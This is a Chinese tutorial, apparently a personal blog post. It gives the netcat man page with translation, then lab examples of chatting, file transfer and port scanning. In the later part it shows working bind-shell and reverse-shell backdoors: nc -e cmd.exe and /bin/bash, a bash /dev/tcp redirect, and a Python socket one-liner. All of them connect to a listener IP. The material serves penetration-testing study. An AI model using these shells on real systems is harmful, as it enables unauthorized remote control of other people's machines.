后面有一些实例
"""
NC(1) General Commands Manual 通用命令手册
NAME
nc - TCP/IP swiss army knife TCP/IP瑞士军刀
SYNOPSIS 概要
nc [-options] hostname port[s] [ports] ...
nc -l -p port [-options] [hostname] [port]
DESCRIPTION 描述
netcat is a simple unix utility which reads and writes data across net‐
work connections, using TCP or UDP protocol. It is designed to be a re‐
liable "back-end" tool that can be used directly or easily driven by
other programs and scripts. At the same time, it is a feature-rich
network debugging and exploration tool, since it can create almost any
kind of connection you would need and has several interesting built-in
capabilities. Netcat, or "nc" as the actual program is named, should
have been supplied long ago as another one of those cryptic but stan‐
dard Unix tools.
Netcat是一个简单的Unix实用程序，它使用TCP或UDP协议跨网络连接读取和写入数据。
它被设计成一个可靠的“后端”工具，可以直接使用，也可以很容易地由其他程序和脚本驱动。
同时它是一个功能丰富的网络调试和探索工具，因为它可以创建您需要的几乎任何类型的连接，
并且具有几个有趣的内置功能。Netcat，或实际程序名为“NC”，
早就应该作为另一种神秘但标准的Unix工具提供。
In the simplest usage, "nc host port" creates a TCP connection to the
given port on the given target host. Your standard input is then sent
to the host, and anything that comes back across the connection is sent
to your standard output. This continues indefinitely, until the net‐
work side of the connection shuts down. Note that this behavior is
different from most other applications which shut everything down and
exit after an end-of-file on the standard input.
在最简单的用法中，“nc host port”创建到给定目标主机上给定端口的TCP连接。
然后将标准输入发送到主机，并且通过连接返回的任何内容都将发送到标准输出。
这将无限期地持续下去，直到连接的网络端关闭。请注意，此行为与大多数其他应用程序不同，
这些应用程序在标准输入的文件结束后关闭所有内容并退出。
Netcat can also function as a server, by listening for inbound connec‐
tions on arbitrary ports and then doing the same reading and writing.
With minor limitations, netcat doesn't really care if it runs in
"client" or "server" mode -- it still shovels data back and forth until
there isn't any more left. In either mode, shutdown can be forced after
a configurable time of inactivity on the network side.
Netcat还可以充当服务器，通过侦听任意端口上的入站连接，然后进行相同的读取和写入。
由于有一些小的限制，Netcat并不真正关心它是在“客户端”模式还是“服务器”模式下运行——
它仍然来回推送数据，直到没有更多的数据留下。
在任一模式下，都可以在网络侧可配置的不活动时间后强制关机。
And it can do this via UDP too, so netcat is possibly the "udp telnet-
like" application you always wanted for testing your UDP-mode servers.
UDP, as the "U" implies, gives less reliable data transmission than TCP
connections and some systems may have trouble sending large amounts of
data that way, but it's still a useful capability to have.
而且它也可以通过UDP做到这一点，所以Netcat可能是您一直希望用于测试UDP模式服务器
的“UDP telnetlike”应用程序。
正如“U”所示，UDP提供的数据传输不如TCP连接可靠，一些系统可能无法以这种方式发送
大量数据，但它仍然是一种有用的功能。
You may be asking "why not just use telnet to connect to arbitrary
ports?" Valid question, and here are some reasons. Telnet has the
"standard input EOF" problem, so one must introduce calculated delays
in driving scripts to allow network output to finish. This is the main
reason netcat stays running until the *network* side closes. Telnet
also will not transfer arbitrary binary data, because certain charac‐
ters are interpreted as telnet options and are thus removed from the
data stream. Telnet also emits some of its diagnostic messages to
standard output, where netcat keeps such things religiously separated
from its *output* and will never modify any of the real data in transit
unless you *really* want it to. And of course telnet is incapable of
listening for inbound connections, or using UDP instead. Netcat
doesn't have any of these limitations, is much smaller and faster than
telnet, and has many other advantages.
您可能会问“为什么不直接使用telnet连接到任意端口？”有效的问题，这里有一些原因。
Telnet存在“标准输入EOF”问题，因此必须在驱动脚本中引入计算延迟，以便完成网络输出。
这是Netcat保持运行直到*network*端关闭的主要原因。Telnet也不会传输任意二进制数据，
因为某些字符被解释为telnet选项，因此会从数据流中删除。Telnet还会将一些诊断消息
发送到标准输出，在标准输出中，Netcat会将这些信息与其*输出*严格分开，并且除非
您*真的*想要修改，否则永远不会修改传输中的任何真实数据。当然，telnet不能侦听入站连接，
也不能使用UDP。Netcat没有任何这些限制，它比telnet小得多，速度也快得多，还有很多其他优势。
OPTIONS
-c string specify shell commands to exec after connect (use with
字符串 caution). The string is passed to /bin/sh -c for execu‐
tion. See the -e option if you don't have a working
/bin/sh (Note that POSIX-conformant system must have one).
在连接后指定要执行的shell命令（谨慎使用）。 该字符串将传递给
/bin/sh -c以供执行。 如果没有工作/bin/sh，请参阅-e选项
（请注意，符合POSIX的系统必须具有一个）。
-e filename specify filename to exec after connect (use with caution).
文件名 See the -c option for enhanced functionality.
filename指定连接后exec的文件名（请谨慎使用）。有关增强功能，请参阅-c选项。
-g gateway source-routing hop point[s], up to 8
网关 源路由跳跃点[s]，最多8个
-G num source-routing pointer: 4, 8, 12, ...
数字 源路由指针
-h display help
显示帮助
-i secs delay interval for lines sent, ports scanned
秒 发送每一行数据或端口扫描的延迟间隔
-l listen mode, for inbound connects
-L 可以在客户端结束连接的时候继续监听
监听模式，用于入站连接
-n numeric-only IP addresses, no DNS
仅限数字的IP地址，没有DNS
-o file hex dump of traffic 十六进制展示
-p port local port number (port numbers can be individual or
ranges: lo-hi [inclusive])
本地端口号（端口号可以是单个的或范围：lo-hi [包含]）
-q seconds after EOF on stdin, wait the specified number of seconds
秒 and then quit. If seconds is negative, wait forever.
在标准输入上执行EOF后，等待指定的秒数然后退出。 如果秒是负数，则永远等待。
-b allow UDP broadcasts 允许UDP广播
-r randomize local and remote ports 随机化本地和远程端口，随便开的端口监听吧
-s addr local source address 本地源地址，用来欺骗
-t enable telnet negotiation 启用telnet协商
-u UDP mode UDP模式
-v verbose [use twice to be more verbose] 详细[使用两次更详细]
-w secs timeout for connects and final net reads 连接超时和最终网络读取
-C Send CRLF as line-ending 将CRLF作为行尾发送
-z zero-I/O mode [used for scanning] 零I / O模式[用于扫描]
-T type set TOS flag (type may be one of "Minimize-Delay", "Maxi‐
mize-Throughput", "Maximize-Reliability", or "Minimize-
Cost".)
设置TOS标志（类型可以是“最小化延迟”，“最大化吞吐量”，
“最大化可靠性”或“最小化成本”之一。）
COPYRIGHT 版权
Netcat is entirely my own creation, although plenty of other code was
used as examples. It is freely given away to the Internet community in
the hope that it will be useful, with no restrictions except giving
credit where it is due. No GPLs, Berkeley copyrights or any of that
nonsense. The author assumes NO responsibility for how anyone uses it.
If netcat makes you rich somehow and you're feeling generous, mail me a
check. If you are affiliated in any way with Microsoft Network, get a
life. Always ski in control. Comments, questions, and patches to hob‐
bit@avian.org.
尽管使用了大量其他代码作为示例，但Netcat完全是我自己的创建。
它是免费赠送给互联网社区的，希望它有用，没有任何限制，除非给予应有的信用。
没有GPL，伯克利版权或任何废话。 作者对任何人使用它不承担任何责任。
如果netcat以某种方式使你富有并且你很慷慨，请给我发一张支票。
如果您以任何方式加入Microsoft Network获得生命。 总是控制滑雪。
hobbit@avian.org的评论，问题和补丁。
NOTES 笔记
Some port names in /etc/services contain hyphens -- netcat currently
will not correctly parse those unless you escape the hyphens with back‐
slashes (e.g. "netcat localhost 'ftp\-data'").
/etc/services中的某些端口名称包含连字符 - 除非您使用反斜杠转义连字符
（例如“netcat localhost'ftp \-data'”），否则netcat当前将无法正确解析这些连字符。
BUGS
Efforts have been made to have netcat "do the right thing" in all its
various modes. If you believe that it is doing the wrong thing under
whatever circumstances, please notify me and tell me how you think it
should behave. If netcat is not able to do some task you think up, mi‐
nor tweaks to the code will probably fix that. It provides a basic and
easily-modified template for writing other network applications, and I
certainly encourage people to make custom mods and send in any improve‐
ments they make to it. Continued feedback from the Internet community
is always welcome!
EXAMPLES
For several netcat recipes, please see /usr/share/doc/netcat/README.gz
and /usr/share/doc/netcat/README.Debian.gz.
AUTHOR
This manual page was written by Joey Hess <joeyh@debian.org> and Robert
Woodcock <rcw@debian.org>, cribbing heavily from Netcat's README file.
Netcat was written by a guy we know as the Hobbit <hobbit@avian.org>.
NC(1)
下载地址：https://eternallybored.org/misc/netcat/
附上一些simple（windows-64）：
- 开启服务端：
打开一个窗口
F:\SecTools\apps\netcat-win32-1.12>nc64 -l -p 4444
（同意防火墙选项）这个时候服务的已经开启了
- 连接到服务端
然后再打开一个窗口输入
# 请以自己的ip为准
F:\SecTools\apps\netcat-win32-1.12>nc64 10.20.3.129 4444
这个时候虽然没有回显和提示但是已经连接成功了，随便输入点东西
客户端发的消息会被服务端输出，服务端发送的消息会被客户端输出
- 开启一个shell服务端
F:\SecTools\apps\netcat-win32-1.12>nc64 -l -p 4444 -e cmd.exe
- 连接上去
sanqiushu@DESKTOP-343EN6M:~$ nc 10.20.3.129 4444
Microsoft Windows [汾 10.0.17134.885]
(c) 2018 Microsoft CorporationȨ
F:\SecTools\apps\netcat-win32-1.12>
连接上去之后直接返回了一个命令行（为了换个路径，我使用了linux版的nc）
F:\SecTools\apps\netcat-win32-1.12>dir
dir
F еľ ʱ
к 1646-F9AD
F:\SecTools\apps\netcat-win32-1.12 Ŀ¼
2019/08/14 15:08 <DIR> .
2019/08/14 15:08 <DIR> ..
2004/12/28 12:23 12,166 doexec.c
1996/07/09 17:01 7,283 generic.h
1996/11/06 23:40 22,784 getopt.c
1994/11/03 20:07 4,765 getopt.h
1998/02/06 16:50 61,780 hobbit.txt
2004/12/27 18:37 18,009 license.txt
2011/09/17 00:46 300 Makefile
2019/08/14 14:42 4 nc.bat
2011/09/17 00:52 38,616 nc.exe
2011/09/17 00:52 45,272 nc64.exe
2011/09/17 00:44 69,850 netcat.c
2011/09/17 00:45 6,885 readme.txt
12 ļ 287,714 ֽ
2 Ŀ¼ 199,469,047,808 ֽ
F:\SecTools\apps\netcat-win32-1.12>
可以直接执行命令（但是这中文乱码很头疼）看来以后还是windows连windows，linux连linux吧
- 传输文件
服务端接受文件
F:\SecTools\apps\netcat-win32-1.12>nc64 -l -p 4444 >F:\SecTools\apps\netcat-win32-1.12\readme2.txt
客户端发送文件
F:\SecTools\apps\netcat-win32-1.12>nc64 10.20.3.129 4444 < F:\SecTools\apps\netcat-win32-1.12\readme.txt
虽然两边都没啥反应，但是传输已经完成了
为什么windows的要用绝对路径啊
linux发送端好像也要绝对路径？？？
客户端接收文件
F:\SecTools\apps\netcat-win32-1.12>nc64 10.20.3.129 4444 > F:\SecTools\apps\netcat-win32-1.12\readme3.txt
服务器端发送文件
F:\SecTools\apps\netcat-win32-1.12>nc64 -l -p 4444 < F:\SecTools\apps\netcat-win32-1.12\readme.txt
可以使用-w5 这样的参数设置等待时间，如果网络延迟超过5s还没连接好，那么结束命令
image.png
这个扫描端口windows版nc的扫描速度真是绝了，扫完感觉人都凉了
ubuntu上的也不行
但是kali-linux上的nc就非常厉害了
root@Sanqiushu:~# nc -z -v -n 10.20.7.7 1-65535
(UNKNOWN) [10.20.7.7] 8080 (http-alt) open
(UNKNOWN) [10.20.7.7] 7001 (afs3-callback) open
(UNKNOWN) [10.20.7.7] 22 (ssh) open
root@Sanqiushu:~#
扫描一次全端口竟然没用2分钟
image.png
root@Sanqiushu:~# echo "" | nc -v -n 10.20.7.7 1-65535
(UNKNOWN) [10.20.7.7] 8080 (http-alt) open
(UNKNOWN) [10.20.7.7] 7001 (afs3-callback) open
(UNKNOWN) [10.20.7.7] 22 (ssh) open
SSH-2.0-OpenSSH_7.6p1 Ubuntu-4ubuntu0.3
Protocol mismatch.
root@Sanqiushu:~#
有些服务不回复banner信息
- 建立监听型后门
F:\SecTools\apps\netcat-win32-1.12>nc -l -p 4444 -e cmd.exe
- 建立连接型后门（反弹型）
自己服务端开启监听
F:\SecTools\apps\netcat-win32-1.12>nc -l -p 4444
客户端连接
F:\SecTools\apps\netcat-win32-1.12>nc64 10.20.3.129 4444 -e cmd.exe
客户端连接上去以后，服务端拿到了命令行终端
Microsoft Windows [版本 10.0.17134.885]
(c) 2018 Microsoft Corporation。保留所有权利。
F:\SecTools\apps\netcat-win32-1.12>
image.png
windows端开启服务
F:\SecTools\apps\netcat-win32-1.12>nc -l -p 4444
kali连接
root@Sanqiushu:~# nc 10.20.3.129 4444 -e /bin/bash
虽然没啥返回，但是已经返回shell了，可以直接运行命令（输入错误的命令你这边是看不到提示的，真是奇怪），有些linux的nc是没有-e选项的比如ubuntu
使用 -d 参数让nc在后台运行
-
端口转发
A想连接C，但直接连接是不行的，然后使用B进行转发
image.png
image.png
-
无nc的linux机器反弹bash shell
kali开启nc服务端（防火墙关了）
root@Sanqiushu:~# nc -lvp 4444
listening on [any] 4444 ...
然后Ubuntu输入命令
sanqiushu@sanqiushu-VirtualBox:~$ bash -i >& /dev/tcp/10.20.2.185/4444 0>&1
kali就接收到了shell
root@Sanqiushu:~# nc -lvp 4444
listening on [any] 4444 ...
10.20.7.7: inverse host lookup failed: Unknown host
connect to [10.20.2.185] from (UNKNOWN) [10.20.7.7] 35130
sanqiushu@sanqiushu-VirtualBox:~$ ls
ls
vulhub
公共的
模板
视频
图片
文档
下载
音乐
桌面
sanqiushu@sanqiushu-VirtualBox:~$
image.png
-
无nc的linux机器建立python shell
kali建立nc服务端
root@Sanqiushu:~# nc -lvp 4444
listening on [any] 4444 ...
Ubuntu建立python客户端
sanqiushu@sanqiushu-VirtualBox:~$ python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.20.2.185',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
kali接受到信息
10.20.7.7: inverse host lookup failed: Unknown host
connect to [10.20.2.185] from (UNKNOWN) [10.20.7.7] 35144
sanqiushu@sanqiushu-VirtualBox:~$ ls
vulhub
公共的
模板
视频
图片
文档
下载
音乐
桌面
sanqiushu@sanqiushu-VirtualBox:~$
python2代码
import os,socket,subprocess
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('10.20.2.185',4444)) # 建立一个远程连接s ip和端口按需修改
os.dup2(s.fileno(),0) # 把输入重定向到s的文件描述符
os.dup2(s.fileno(),1) # 把输出重定向到s的文件描述符
os.dup2(s.fileno(),2) # 把错误输出重定向到s的文件描述符
p=subprocess.call(['/bin/bash','-i'])
之后再用python代码创建一个交互式shell
python -c 'import pty;pty.spawn("/bin/bash")'
-
不支持-e选项的nc 反弹shell
nc 10.20.2.185 4444 | /bin/bash | nc 10.20.2.185 4445
image.png
比较慢，大概等了10s
